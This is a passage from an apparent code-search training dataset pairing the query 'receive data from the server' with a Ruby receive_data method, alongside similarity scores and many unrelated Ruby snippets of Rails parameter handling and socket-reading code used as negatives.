"def check_exclude_fields\n=begin\n [:for_index, :for_new, :for_edit, :for_show].each do |key|\n exc= exclude_fields.send(key)\n next if exc # Leave user options if given.\n \n # By default, the foreign key of the parents are assigned on nested resources,\n # so i remove the from the default columns of new\n exclude_fields.send(\"#{key}=\", parent_ids) if key == :for_new && !parent_ids.empty?\n end\n=end\n # Because a single resource can have multiple resource parents,\n # this check is going to be done on \"runtime\" (ie remove the field for the \n # current parent, not all parents' fields)\n end",
"def unsubmit(_ = nil)\n # Skip the state validation in answers.\n @unsubmitting = true\n\n unsubmit_current_answers\n self.points_awarded = nil\n self.draft_points_awarded = nil\n self.awarded_at = nil\n self.awarder = nil\n self.submitted_at = nil\n self.publisher = nil\n self.published_at = nil\n end",
"def group_product_params\n params.fetch(:group_product, {})\n end",
"def lock_down_admin_only_params\n # all this bogus return false stuff is to prevent double render errors in some circumstances\n return if check_superuser_restricted_params == false\n return if check_may_set_user_id == false\n end",
"def flat_stage_params\n params.fetch(:flat_stage, {})\n end",
"def remove_org_selection_params(params_in:)\n params_in.delete(:org_id)\n params_in.delete(:org_name)\n params_in.delete(:org_sources)\n params_in.delete(:org_crosswalk)\n params_in\n end",
"def termdef_unnest_cleanup(xmldoc)\n desgn = \"//p/admitted | //p/deprecates | //p/preferred | //p//related\"\n nodes = xmldoc.xpath(desgn)\n while !nodes.empty?\n nodes[0].parent.replace(nodes[0].parent.children)\n nodes = xmldoc.xpath(desgn)\n end\n end",
"def unterprodukt_params\n params.require(:unterprodukt).permit(:menge, :oberprodukt_id, :unterprodukt_id)\n end",
"def disable_layout\n facet_params[:modal] == 'on' ? {layout: false} : {}\n end",
"def unapprove\n if self.build.pull_request_number != '-1'\n # Clear sha and pull request number\n self.new_image.clear_preapproval_information(false)\n else\n self.new_image.approved = false\n end\n\n # Clear fields that mark diff that an action has been taken, so it is listed in the \"Diffs waiting for approval\" section\n self.new_image.user_approved_this_build = false\n self.new_image.save\n self.approved_by = nil\n self.approved = false\n self.save\n end",
"def package_params\n params.require(:package).permit(:pickup_date, :delivery_date, :status, :receiver_street, :receiver_city)\n end",
"def visit_ungroup(attribute, preprocess = false)\n if preprocess\n name = attribute.name\n header = attribute.header\n keys = attribute.pop_keys\n\n others = header.postprocessed\n\n compose do |ops|\n ops << others.map { |attr|\n t(:map_array, t(:map_value, name, visit(attr, true)))\n }\n ops << t(:ungroup, name, keys)\n end\n else\n visit_array(attribute)\n end\n end",
"def package_params\n params.permit(:packages_type)\n end",
"def admin_only_design_guide_params\n params.fetch(:admin_only_design_guide, {})\n end",
"def uncopied_attributes\n superclass.uncopied_attributes | [:chart_code, :number, :effective_date]\n end",
"def template_package_params\n params.require(:template_package).permit(:id,:name)\n end",
"def remove_group_info(opts)\n opts = check_params(opts,[:group_info])\n super(opts)\n end",
"def remove plataform\n end",
"def plant_params\n params.fetch(:plant, {})\n end",
"def inter_team_trade_group_params\n params.fetch(:inter_team_trade_group, {})\n end",
"def product_params_sanitizer(hash)\n\t hash[:typ_subcategory_id] = hash.delete :typ_subcategory\n\t hash[:typ_subcategory_id] = hash[:typ_subcategory_id][:id]\n\t hash[:typ_category_id] = hash.delete :typ_category\n\t hash[:typ_category_id] = hash[:typ_category_id][:id]\n\t return hash\n \tend",
"def uncertify_appeal\n test_appeal_id = params[\"UNCERTIFY_ME\"][:vacols_id]\n unless certification_ids.include?(test_appeal_id)\n flash[:error] = \"#{test_appeal_id} is not uncertifiable!\"\n redirect_to action: \"index\"\n return\n end\n @certification = Certification.find_by(vacols_id: test_appeal_id)\n Form8.delete_all(vacols_id: test_appeal_id)\n appeal = Appeal.find_by(vacols_id: test_appeal_id)\n AppealRepository.uncertify(appeal)\n Certification.delete_all(vacols_id: test_appeal_id)\n\n redirect_to new_certification_path(vacols_id: test_appeal_id)\n end",
"def relassignunit_params\n params.fetch(:relassignunit, {})\n end",
"def build_skip_form(skip,action,caption,is_edit = nil,is_create_retry = nil)\n\n\n codes = Facility.find_all_by_facility_type_code(\"packhouse\").map{|g|[g.facility_code]}\n\n\tsession[:skip_form]= Hash.new\n#\t---------------------------------\n#\t Define fields to build form from\n#\t---------------------------------\n\t field_configs = Array.new\n\tfield_configs[0] = {:field_type => 'TextField',\n\t\t\t\t\t\t:field_name => 'skip_code'}\n\n if is_edit == false\n\t field_configs[1] = {:field_type => 'DropDownField',\n\t\t\t\t\t\t:field_name => 'packhouse_code',\n\t\t\t\t\t\t:settings => {:list => codes}}\n\telse\n\t field_configs[1] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'packhouse_code'}\n\tend\n\tfield_configs[2] = {:field_type => 'TextField',\n\t\t\t\t\t\t:field_name => 'skip_description'}\n\n\tfield_configs[3] = {:field_type => 'TextField',\n\t\t\t\t\t\t:field_name => 'number_of_bays'}\n\n\tfield_configs[4] = {:field_type => 'TextField',\n\t\t\t\t\t\t:field_name => 'ip_address'}\n\n\tbuild_form(skip,field_configs,action,'skip',caption,is_edit)\n\nend",
"def reject_year_groups\n respond_with get_tags_for_contexts([\"year_groups\",\"reject_year_groups\"], params[:exclude_tags])\n end",
"def params_without_vk_data\n params.except(*KONTAKT_PARAM_NAMES)\n end",
"def unpublished=(_arg0); end",
"def hide_role_params\n params.fetch(:hide_role, {})\n end",
"def unsubmit(_ = nil)\n # Skip the state validation in answers.\n @unsubmitting = true\n\n unsubmit_latest_answers\n self.points_awarded = nil\n end",
"def clear_fields\n\t\tend",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def unpersisted_attachment_fields(method, multiple)\n unpersisted_attachments(method).map.with_index do |attachment, idx|\n hidden_field method,\n mutiple: multiple ? :multiple : false, value: attachment.signed_id,\n name: \"#{object_name}[#{method}]#{'[]' if multiple}\",\n data: {\n direct_upload_id: idx,\n uploaded_file: { name: attachment.filename, size: attachment.byte_size },\n icon_container_id: \"asdndz-#{object_name}_#{method}__icon-container\"\n }\n end\n end",
"def package_params\n params.require(:package).permit(:user_id, :locker_id, :status, :size, :preferred_branch_id)\n end",
"def package_params\n params.require(:package).permit(:title, :price, :course_id, :chapter_id, chapter_ids: [], package_ids: [])\n end",
"def uninstall(packagename)\n\t\t\tend",
"def unrelate\n model_to_unrelate = params[:unrelated].singularize.camelize.constantize\n unrelate = model_to_unrelate.find(params[:unrelated_id])\n @model.find(params[:id]).send(params[:unrelated]).delete(unrelate)\n flash[:success] = \"#{model_to_unrelate.to_s.titleize} removed from #{@model.to_s.titleize}.\"\n redirect_to :action => 'edit', :id => params[:id]\n end",
"def debit_payment_params\n params.fetch(:debit_payment, {})\n end",
"def revert_published_form(id)\n @client.raw('get', \"/content/forms/#{id}/revert-published-data\")\n end",
"def display_attributes\n super.reject { |k, v| imported_attributes.fetch(k, nil) == v }\n end",
"def display_attributes\n super.reject { |k, v| imported_attributes.fetch(k, nil) == v }\n end",
"def unparameterize(pname)\n\t\t\tpar = nil\n\t\t\tif @parameters.key?(pname)\n\t\t\t\tpar = @parameters[pname]\n\t\t\telse\n\t\t\t\traise \"Parameter #{pname} not found.\"\n\t\t\tend\n\n\t\t\[email protected] do |r|\n\t\t\t\tif r.output.name == pname\n\t\t\t\t\traise \"Parameter #{pname} has an output rule associated with it, cannot unparameterize.\"\n\t\t\t\tend\n\t\t\t\tr.equation.replace_ident(pname, \"#{par.value}\")\n\t\t\tend\n\t\t\tdelete_symbol(pname)\n\t\tend",
"def mk_missatge_params\n params.require(:mk_missatge).permit(:user_id, :destinatari, :missatge, :mk_product_id, :mobile)\n end",
"def stockroom_removal_params\n params.require(:stockroom_movimentation).permit(:user_id, :justificativa, stockroom_removal_items_attributes: [:id, :stockroom_item_id, :quantidade, :_destroy])\n end",
"def package_detail_params\n params.require(:package_detail).permit(:package_id,:food_id)\n end",
"def field_datum_params\n params.fetch(:field_datum, {})\n end",
"def reset_params\n @params = {}\n end",
"def remove_admin_params\n params[:user].delete(:admin) unless current_user.admin?\n end",
"def unpay_installment\n set_loan_installment\n @loan_installment.update(loan_installment_params)\n\n ae = AccountingEntry.where(from_installment: @loan_installment.id).first\n\n\n # note this has a bug wherein if you unpay it will mis-calculate AccountingEntry's principal_balance and interest_income Balance\n unless ae.nil?\n ab = ae.accounting_book\n ab.overall_principal_balance = ab.overall_principal_balance + ae.cr_entries.first.value\n ab.overall_interest_balance = ab.overall_interest_balance + ae.cr_entries.last.value\n ab.save\n\n ae.destroy\n end\n\n respond_to do | format |\n format.js { render 'loan_installments/unpay_installment.js.erb' }\n end\n end",
"def package_params\n params.require(:package).permit(:category_id, :user_id, :status)\n end",
"def leave_nuspec\n @leave_nuspec = true\n end",
"def reset\n update_attributes(year_of_study: nil,\n faculty_id: nil,\n department_id: nil,\n course_id: nil)\n\n self.uni_modules.each do |uni_module|\n unsave_module(uni_module)\n end\n\n self.pathways.each do |pathway|\n self.pathways.delete(pathway)\n end\n end",
"def fixed_exp_params\n params.fetch(:fixed_exp, {})\n end",
"def doppelte_object_params\n params.fetch(:doppelte_object, {})\n end",
"def uncheck *params\n opt = parse_params_for_check params\n @adapter.check opt, false\n end",
"def flats_place_params\n params.fetch(:flats_place, {})\n end",
"def unpaid_offday_params\n params.require(:unpaid_offday).permit(:unpaid_offday_type_id, :employee_id, :order_id, :start_date, :return_date, :day_quantity, :notes)\n end",
"def single_item_action_remove_form_fields(form, document)\n single_item_action_form_fields(form, document, 'remove')\n end",
"def package_in_out_params\n params.require(:package_in_out).permit(:ticket_no, :customer_code, :quantity, :package_no, :Courier, :floor, :location, :package_in_time, :package_out_time)\n end",
"def utensil_params\n params.fetch(:utensil, {})\n end",
"def remove_facet_params(field, item, source_params = params)\n field = item.field if item.respond_to? :field\n\n value = facet_value_for_facet_item(item)\n\n p = source_params.dup\n # need to dup the facet values too,\n # if the values aren't dup'd, then the values\n # from the session will get remove in the show view...\n p[:f] = (p[:f] || {}).dup\n p[:f][field] = (p[:f][field] || []).dup\n p.delete :page\n p.delete :id\n p.delete :counter\n p.delete :commit\n p[:f][field] = p[:f][field] - [value]\n p[:f].delete(field) if p[:f][field].size.zero?\n p\n end",
"def revise_params\n params.require(:revise).permit(:date_begin, :date_end, :memo, :distributor_id, :file)\n end",
"def remove_field(key)\n @pdf_form.removeField(key.to_s)\n end",
"def consultation_params \n params.require(:consultation).permit(:code, :libelle, :debut, :fin,:etablissement_ids => [], :markets_attributes => [:id, :code, :fournisseur_id, :_destroy])\n end",
"def remove_facet_params(field, item, source_params = params)\n if item.respond_to? :field\n field = item.field\n end\n\n value = facet_value_for_facet_item(item)\n\n p = source_params.dup\n # need to dup the facet values too,\n # if the values aren't dup'd, then the values\n # from the session will get remove in the show view...\n p[:f] = (p[:f] || {}).dup\n p[:f][field] = (p[:f][field] || []).dup\n p.delete :page\n p.delete :id\n p.delete :counter\n p.delete :commit\n p[:f][field] = p[:f][field] - [value]\n p[:f].delete(field) if p[:f][field].size == 0\n p\n end",
"def relassociate_params\n params.fetch(:relassociate, {})\n end",
"def cancel_duration\n #These need to be passed on to recreate the original form should cancel then set be pressed\n @object_name = params[:object_name]\n @field_name = params[:field_name]\n @prefix = params[:prefix]\n @optional = params[:optional]\n logger.debug \"DURATION: HIDING\"\n \n end",
"def package_params\n params.require(:package).permit(:name, :surname, :midname, :phone, :email, :weight, :length, :width, :height, :addr_from, :addr_to, :user_id)\n end",
"def unset_specification\n @specification = {}\n end",
"def unset_specification\n @specification = {}\n end",
"def delelte\n\n end",
"def remove_flexi_field(name)\n flexi_fields.reject!{|f| f.name == name }\n end",
"def slide_query_params\n query_params.except(:format, :id, :html)\n end",
"def destroy\n if current_user.admin\n @package.destroy\n else\n @package.old = true\n @package.save\n end\n\n respond_to do |format|\n format.html { redirect_to(packages_url) }\n end\n end"
] | [
"0.5887348",
"0.5579017",
"0.550668",
"0.5481046",
"0.5415299",
"0.5408723",
"0.5318543",
"0.5298929",
"0.5264611",
"0.523779",
"0.5198984",
"0.51949567",
"0.51777846",
"0.50805336",
"0.5054774",
"0.50440156",
"0.5003783",
"0.49490967",
"0.49228296",
"0.4879456",
"0.48700336",
"0.4869865",
"0.48256123",
"0.48128933",
"0.48128933",
"0.47905558",
"0.47799262",
"0.47639984",
"0.4763426",
"0.47562015",
"0.47448274",
"0.47401094",
"0.47383755",
"0.4731723",
"0.472893",
"0.4703957",
"0.4698216",
"0.46821943",
"0.46820152",
"0.46775782",
"0.46668446",
"0.46648154",
"0.46613222",
"0.46577716",
"0.46475843",
"0.46433896",
"0.46265292",
"0.46219268",
"0.46172082",
"0.46139452",
"0.4601417",
"0.45962882",
"0.4589803",
"0.4589536",
"0.45875543",
"0.45834875",
"0.4575749",
"0.45695916",
"0.45649505",
"0.4557171",
"0.45562106",
"0.45516056",
"0.4551325",
"0.4549268",
"0.45479536",
"0.45382202",
"0.45382202",
"0.45368207",
"0.45358634",
"0.45336035",
"0.45129725",
"0.45092604",
"0.45087212",
"0.45076156",
"0.4506881",
"0.4505192",
"0.45018992",
"0.4500743",
"0.44957742",
"0.44942814",
"0.44882935",
"0.4484875",
"0.44823387",
"0.4481839",
"0.44576827",
"0.445288",
"0.4452464",
"0.44498676",
"0.44489682",
"0.4447069",
"0.44417828",
"0.44409472",
"0.44407105",
"0.44406494",
"0.4436603",
"0.4436603",
"0.4435979",
"0.44336215",
"0.4429603",
"0.44276774"
] | 0.7438915 | 0 |
receive data from the server | def receive_data(data)
@server_parser.parse(data) do |packet|
debug "server --> #{packet.inspect}"
state.update packet
if packet.kind == :disconnect
log "server disconnect: #{packet.message}"
EM.stop
end
handle packet
if current_action
current_action.update(packet)
send_pending_action_packets
end
end
rescue => e
STDERR.puts e.inspect
EM.stop
raise
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def receive(data); end",
"def receive_data data\n rdata = data.split(\"\\n\")\n rdata.each do |line|\n puts \"#{self} received <<< #{line}\"\n # the echo part\n send_data \">>>you sent: #{line}\\n\"\n # Close the connection when the client tells us to.\n close_connection if line =~ /quit/i\n end\n end",
"def receiving(data); end",
"def receiving(data); end",
"def receive_data(data)\n end",
"def receive_data data\n rdata = data.split(\"\\n\")\n rdata.each do |line|\n puts \"#{self} received <<< #{line}\"\n # the echo part\n send_data \">>>you sent: #{line}\\n\"\n close_connection if line =~ /quit/i\n end\n end",
"def receive_data\n if @socket\n # udp receive\n @socket.recvfrom(1024)\n else\n # tcp receive\n sleep 0.1\n if $received_data\n $received_data.shift\n else\n fail 'no data'\n end\n end\n end",
"def receive_data data\n\t\tputs \"............>>>#{data.length}\"\n\tend",
"def receive_data data\n #puts \"receive data #{data.dump} |(#{data.length})\"\n if data.length == 0\n close\n end\n @response_data += data\n remaining_unhandled_data = handle_data @response_data\n @response_data = remaining_unhandled_data\n end",
"def receive_data data\n data.lines.each { |line| receive_line line }\n end",
"def receive_data(data)\n data.chomp!\n port, ip = Socket.unpack_sockaddr_in(self.get_peername)\n\n @@logger.debug(\"R [#{ip}:#{port}] #{data}\")\n self.handle_command(data)\n end",
"def receive_data(data)\n @client.send_command(SendDataCommand.new(@connection_id, data))\n end",
"def receive_data(data)\n log_debug '[server] receive_data: %s' % data\n @buffer << data\n handle_client if @buffer.flushed?\n end",
"def receive_data data\n @buf.extract(data).each do |packet|\n begin\n request = JSON::parse(packet)\n log.debug { request }\n case request['method']\n when \"relay_tx\"\n return handle_relay_tx(request, *request['params'])\n when \"monitor\"\n respond(request, handle_monitor(request, *request['params']))\n else\n if respond_to?(\"handle_#{request['method']}\")\n respond(request, send(\"handle_#{request['method']}\", *request['params']))\n else\n respond(request, { error: \"unknown command: #{request['method']}. send 'help' for help.\" })\n end\n end\n rescue\n respond(request, { error: $!.message })\n end\n end\n rescue Exception\n p $!; puts *$@\n end",
"def retrieve_data\r\n response = ''\r\n while next_line_readable?\r\n response = @socket.gets.chop\r\n puts response\r\n end\r\n response #returns last valid line\r\n end",
"def receive_data(data)\n @buffer.extract(data).each do |line|\n port, host = Socket.unpack_sockaddr_in(self.get_peername)\n # Trim trailing newlines \n @receiver.receive(host, port, line.chomp)\n end\n end",
"def receive_data(data)\n log_debug { '[server] receive_data: %s' % data }\n\n @request_buffer << data\n @request_data = @request_buffer.data\n @stats.request_size = @request_buffer.size\n\n handle_client if @request_buffer.flushed?\n end",
"def receive_data(data)\n case @state\n when :protocol_proposal\n deferrable = @in_flight\n @state = :idle\n @in_flight = nil\n if data == 'ok'\n send_next_request\n deferrable.succeed\n else\n close_connection\n deferrable.fail(\"server response: #{data.inspect}\")\n end\n\n when :request\n @recv_buf << data\n response_size = @recv_buf.unpack('N').first\n if response_size && @recv_buf.bytesize >= response_size + 4\n response = @recv_buf[4, response_size]\n deferrable = @in_flight\n @state = :idle\n @in_flight = @recv_buf = nil\n send_next_request\n deferrable.succeed(response)\n end\n\n else\n raise \"Received data in unexpected state: #{@state.inspect}\"\n end\n end",
"def read\n @socket.gets\n end",
"def receive_data(data)\n #@logger.trace { \">>> #{data.inspect}\" }\n @buffer.receive(data) do |message_type_char, raw_message|\n @message = MosesPG::Message.create(message_type_char, raw_message)\n @logger.trace { \">>> #{@message}\" }\n @message.events.each { |event| send(event) }\n end\n self\n end",
"def receive data\n data.each_char do |char|\n @buffer.concat char\n if @in_header\n prepare_to_parse_message if @buffer.end_with?(\"\\r\\n\\r\\n\")\n else\n parse_message_from_buffer if @buffer.bytesize == @content_length\n end\n end\n end",
"def receive_data(data)\n logdebug \"receive_data:\", :data => data\n end",
"def receive_data(data)\n split_data = data.split(\"\\n\")\n @received = @received + split_data\n @@log.warn \"#{self} receive_data ...\"\n @@log.debug \"#{self} \\n<<<#{data}>>>\"\n end",
"def receive_data(data)\n # puts \"From #{(@player || @connector).inspect} #{ip_address}:\"\n # puts \"> \" + data.inspect\n \n benchmark do\n if @player\n @player.handle_input(data.strip)\n else\n @connector.handle_input(data.strip)\n end\n end\n rescue Exception => e\n raise e #if AEON_ENV == :test\n end",
"def received\n end",
"def receive_data(msg) \n msg.split(\"\\n\").each do |row|\n begin\n msg_split = row.split(\" \")\n command = msg_split[0]\n\n return unless command\n case\n when command.match(/available/i)\n EM.defer { send_data \"#{serialize(@redis.datapoints)}\\n\" }\n when command.match(/values/i)\n EM.defer do\n command, metric, begin_time, end_time, version = msg_split\n datapoints, interval = retrieve_datapoints(metric, begin_time, end_time, version)\n send_data \"#{serialize({'interval' => interval, \"#{metric}\" => datapoints})}\\n\"\n end\n when command.match(/ping/i)\n send_data \"PONG\\n\"\n when command.match(/quit|exit/i)\n send_data \"BYE\\n\"\n close_connection\n else\n send_data \"#{serialize({error: \"Unrecognized command #{command}\"})}\\n\"\n end\n rescue Exception => e\n Batsd.logger.info e \n rescue\n Batsd.logger.warn \"Uncaught Error\"\n end\n end\n end",
"def receive_data data\n @connection_attempts = 0\n @buffer.extract(data).each do |packet|\n response = JSON.parse(packet)\n log.debug { d = response['result'].inspect\n \"response: #{response['method']} #{d[0...50]}#{d.size > 50 ? '...' : ''}\" }\n if cb = @requests[response['id']]\n cb.call(response['result'])\n else\n callback(:response, response['method'], response['result'])\n callback(response['method'].to_sym, response['result'])\n end\n end\n end",
"def receive(data)\n puts data\n end",
"def receive(data)\n puts data\n end",
"def receive_data data\n (@buf ||= '') << data\n\n while @buf.slice!(/(.*?)\\r?\\n/)\n receive_line($1)\n end\n end",
"def receive\n parse(recv)\n end",
"def recvmessage\n line = @socket.readline\n JSON.parse(line)\n end",
"def receive_data(data)\n (@buffer ||= BufferedTokenizer.new(delimiter = \"__1_EE\")).extract(data).each do |line|\n #strip newline at beginning of line\n if line.match(/^\\W{1}./)\n line = line[1..line.length-1]\n end\n if line.valid?\n log_entry(line)\n send_data \"0\"\n else\n port, ip = Socket.unpack_sockaddr_in(get_peername)\n host = Socket.getaddrinfo(ip, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME)[0][2]\n ActiveRecord::Base.logger.error \"Dropped log entry from #{host} - checksum invalid\"\n send_data \"99\"\n end\n end\n end",
"def receive_data(data)\n handle(data)\n end",
"def receive_data( data )\n emit( 'data_received', data )\n # TODO: Handle when a line contains \\n and when data are trunkated (buff).\n data.split(\"\\n\").map { |line|\n receive_line( line.strip )\n }\n end",
"def receive_data data\n\n # First we get all the headers in to find out which resource\n # we are looking for.\n\n if @status == :header\n @buffer += data\n\n if @buffer =~ /\\r\\n\\r\\n/\n\n # Detected end of headers\n header_data = @buffer[0...($~.begin(0))]\n\n @web_config = WEBrick::Config::HTTP.clone\n @web_config[:HTTPVersion] = WEBrick::HTTPVersion.new(\"1.0\")\n\n # Try the webrick parser\n @req = WEBrick::HTTPRequest.new(@web_config)\n @res = WEBrick::HTTPResponse.new(@web_config)\n\n StringIO.open(header_data, 'rb') do |socket|\n @req.parse(socket)\n end\n\n # The rest of the incoming connection\n @buffer = @buffer[($~.end(0))..-1]\n\n # Compute the ID of the sought resource\n if @req.path =~ /\\/adhd\\/(.*)/\n @req.header[\"Filename\"] = $1\n @req.header[\"ID\"] = MD5.new($1).to_s\n else\n # TODO: return a 404 here\n send_error 404, \"Not Found\", \"The URL does not seem to contain /adhd/filename\"\n # raise \"Remember to have a url of the form /adhd/<filenname>.\"\n end\n\n # Change the status once headers are found\n @status = :find_node\n else\n # Avoid DoS via buffer filling\n close_connection if @buffer.length > 1000\n end\n end\n\n # Now we have the headers, but maybe not the full body, and we are looking\n # for the right node in our network to handle the call.\n if @status == :find_node\n # We want to tell the remote host to wait a bit\n # This would allow us to defer the execution of the calls to find\n # the right nodes, and extract the doc.\n\n # TODO: We need to push all the chit-chat with the remote servers to\n # A deferable object, or some other connection, not to block.\n # Right now we are blocking and it sucks.\n\n # Now get or write the document associated with this file\n\n if @req.request_method == \"GET\"\n\n @our_doc = @node_manager.srdb.get_doc_directly(@req.header[\"ID\"])\n\n # TODO: handle errors if file does not exist\n if @our_doc[:ok]\n @status == :get\n handle_get\n else\n send_error 500, \"Internal Server Error\", @our_doc[:reason]\n end\n end\n\n if @req.request_method == \"PUT\"\n # Define a Doc with the data so far\n @our_doc = StoredFile.new\n\n @our_doc._id = @req.header[\"ID\"]\n @our_doc.internal_id = @req.header[\"ID\"]\n @our_doc.size_bytes = @req.content_length\n @our_doc.filename = @req.header[\"Filename\"]\n @our_doc.mime_type = @req.content_type\n\n # Write to the right node\n @our_doc = @node_manager.srdb.write_doc_directly(@our_doc)\n\n # TODO: if an error is returned here, we cannot execute the query\n if @our_doc[:ok]\n @status = :put\n handle_put\n else\n send_error 410, \"Conflict\", @our_doc[:reason]\n end\n end\n end\n end",
"def do_recv()\n data = super()\n message = Hurricane::Message.new()\n message.type = data.data[0].name\n message.destination = data.data[1]\n message.tag = data.data[2]\n message.data = data.data[3]\n message\n end",
"def recv\n data = String.new\n data << @socket.gets until data.match(/\\r\\n$/)\n Parser.parse(data)\n end",
"def receive_data(data)\n\t\t$logger.warn(\"receive_data() not implemented\")\n\tend",
"def recv(*rest) end",
"def receive_data data\n (@buffer||='') << data\n\n while index = @buffer.index(Cdelimiter)\n begin\n line = @buffer.slice!(0,index+2)\n process_cmd line\n rescue ParserError\n @buffer[0...0] = line\n break\n end\n end\n end",
"def receive_data(data)\n @buffer.extract(data).each do |line|\n payload = { :uuid => @uuid, \n :message => line,\n :host => @host,\n :user => @user }\n @global_history_fanout.publish(payload.to_json)\n end\n end",
"def read()\n data = @sock.recv(8192)\n return data\n end",
"def receive_data data\n # The first message from the user is its name\n @name ||= data.strip\n\n @@connections.each do |client|\n # Send the message from the client to all other clients\n client.send_data \"#{@name} says: #{data}\"\n end\n end",
"def receive_data(data)\n buffer.concat(data)\n end",
"def receive_data(msg) \n msg.split(\"\\n\").each do |row|\n begin\n msg_split = row.split(\" \")\n command = msg_split[0]\n\n return unless command\n case\n when command.match(/available/i)\n EM.defer { send_data \"#{JSON(@redis.datapoints)}\\n\" }\n when command.match(/values/i)\n EM.defer do\n command, metric, begin_time, end_time = msg_split\n datapoints, interval = [], 0\n\n if metric.match(/^gauge/)\n datapoints = @diskstore.read(metric, begin_time, end_time)\n else\n Batsd::Server.config[:retentions].each_with_index do |retention, index|\n if (index != Batsd::Server.config[:retentions].count - 1) && (Time.now.to_i - (retention[0] * retention[1]) > begin_time.to_i)\n next\n end\n interval = retention[0]\n\n if index.zero?\n datapoints = @redis.values_from_zset(metric, begin_time, end_time)\n break\n else\n datapoints = @diskstore.read(\"#{metric}:#{retention[0]}\", begin_time, end_time)\n break\n end\n end\n end\n send_data \"#{JSON({'interval' => interval, \"#{metric}\" => datapoints})}\\n\"\n end\n when command.match(/ping/i)\n send_data \"PONG\\n\"\n when command.match(/quit|exit/i)\n send_data \"BYE\\n\"\n close_connection\n else\n send_data \"#{JSON({error: \"Unrecognized command #{command}\"})}\\n\"\n end\n rescue Exception => e\n puts e if ENV[\"VERBOSE\"]\n rescue\n puts \"Uncaught Error\"\n end\n end\n end",
"def receive(data)\n @buffer.concat(data)\n while s = @buffer.scan(/.*?\\n/)\n forward(s.strip)\n end\n nil\n end",
"def recv\n count = @socket.recv(8).to_i\n\n # Where we accumulate the response\n response = \"\"\n\n # Keep fetching data until we have received the entire response\n while (count > 0) do\n buf = @socket.recv(TRANSFER_BLOCKSIZE)\n response += buf\n count -= buf.length\n end\n\n response.split(FIELD_SEPARATOR)\n end",
"def run\r\n while true do\r\n begin\r\n msg = $stdin.gets\r\n if msg.to_s.include? \"exit\"\r\n break\r\n else\r\n set_socket() #must do it in every run\r\n send_data(msg)\r\n com = msg.to_s.split\r\n if (com[0] == \"add\" or com[0] == \"set\" or com[0] == \"cas\" or com[0] == \"append\" or com[0] == \"prepend\") #must send value\r\n value = read_msg(com[4].to_i) #com[4] -> size of the value to read\r\n send_data(value)\r\n end\r\n retrieve_data()#prints data\r\n #while next_line_readable?(@socket)\r\n # puts @socket.gets.chop #puts every line that the socket sends as response\r\n #end\r\n end\r\n rescue => exception\r\n puts exception.message\r\n puts \"A server failure has been encountered\"\r\n puts \"Closing...\"\r\n sleep(2)\r\n break\r\n end\r\n end\r\n end",
"def listen\n\t\trec = @sp.gets(sep=\"\\r\")\n\t\[email protected] \"Rx: \" + rec\n\t\treturn rec\n\t end",
"def receive_packet\n\t\treturn parser.recv(self.sock)\n\tend",
"def receive_data(data)\n\n if data.match 'SOURCE'\n p data\n send_data(\"HTTP 200 OK\\r\\n\\r\\n\")\n else\n # require 'pry'; binding.pry\n p data.size\n @channel.push(data.bytes)\n end\n end",
"def receive_data_command\n @headers_finished = false\n @body = []\n @headers = {}\n\n return true\n end",
"def receive_data(data)\n forwarder = Forwarder.new(host, data.strip, ports)\n send_data(forwarder.start)\n close_connection_after_writing\n end",
"def read_data_on_http_tunnel\n @log.debug \"read_data_on_http_tunnel read start\"\n while true\n dat = @socket_srv.gets\n break if dat.nil? or dat.empty?\n @log.debug \"<server> #{dat.chomp}\"\n # TO DO: parse message\n end\n rescue\n @log.warn \"socket read end: (#{$!})\"\n ensure\n @log.debug \"read_data_on_http_tunnel terminated\"\n @socket_srv = nil\n end",
"def receive_data(data)\n @buffer << data\n end",
"def receive_data(data)\n while not (data.nil? or data.empty?)\n data.force_encoding 'BINARY' if data.respond_to?(:force_encoding)\n unless @payload_bytes_to_read\n nul = data.index ?\\0\n if nul\n @buffer << data.slice!(0, nul)\n data.slice!(0,1) # Remove the NUL\n metadata = @buffer.join('')\n @buffer = []\n begin\n receive_metadata(metadata)\n rescue Exception => e\n log_exception(e, 'Invalid metadata', metadata)\n close_connection\n return\n end\n else\n @buffer << data\n data = nil\n end\n end\n if @payload_bytes_to_read\n if data.size >= @payload_bytes_to_read\n @buffer << data.slice!(0, @payload_bytes_to_read)\n payload = @buffer.join('')\n @buffer, @payload_bytes_to_read = [], nil\n begin\n receive_payload(payload)\n rescue Exception => e\n log_exception(e, 'Invalid payload')\n close_connection\n return\n end\n else\n @buffer << data\n @payload_bytes_to_read -= data.size\n data = nil\n end\n end\n end\n end",
"def receive_data(data)\n Babylon.logger.debug(\"RECEIVED : #{data}\")\n @parser.push(data)\n end",
"def get\n socket.readline\n end",
"def gets\n\t\[email protected]\n\tend",
"def receive_data data\n @buf.extract(data).each do |line|\n @lines_received += 1\n @bytes_received += line.bytesize\n\n receive_line line.chomp\n end\n end",
"def receive_data data\n if @state == :state_playing\n @bust_prompt = true\n $last_sent = '\\n'\n end\n\n data = \"\\n\" if data == nil\n data.gsub!(/\\r\\n|\\n\\r|\\r|\\n/,\"\\n\")\n data = \"\\n\" if data.empty?\n\n # separates telnet sequence from main data stream. Returns the telnet sequences in their own string in the queue.\n a = @network_parser.resume data\n\n a.each do |d|\n data.gsub!(/\\n/, \"\")\n if d.length == 0\n a.delete d\n end\n end \n \n a << \"\" if a.empty?\n\n a.each do |d|\n @input_queue.push d\n end\n \n ## Ok, check we need to shift a command off the top.\n while !@input_queue.empty?\n comm = @input_queue.shift\n \n return if comm == nil \n\n # next if comm.length == 0\n if comm.length != 0 && comm[0].ord == IAC\n # let's see if it matches one we know of.\n do_mxp = DO_MXP \n dont_mxp = DONT_MXP\n do_mccp = DO_MCCP\n dont_mccp = DONT_MCCP \n\n if do_mccp == comm\n log :debug, \"telnet do mccp sequence detected.\"\n# mccp_initialize(self)\n end\n if do_mxp == comm\n mxp_initialize(self)\n log :debug, \"telnet do mxp sequence detected.\"\n end \n log :debug, \"telnet sequence detected.\"\n next ### it's a telnet sequence\n end\n case @state\n when :state_new_connection\n if @nanny.alive?\n if (@nanny.resume comm.downcase) == true\n text_to_socket \"Closing connection.\" + ENDL\n close_connection\n return\n end\n end\n when :state_playing\n \n handle_cmd_input comm\n else\n log :error, \"Socket in bad state.\"\n end\n end\n end",
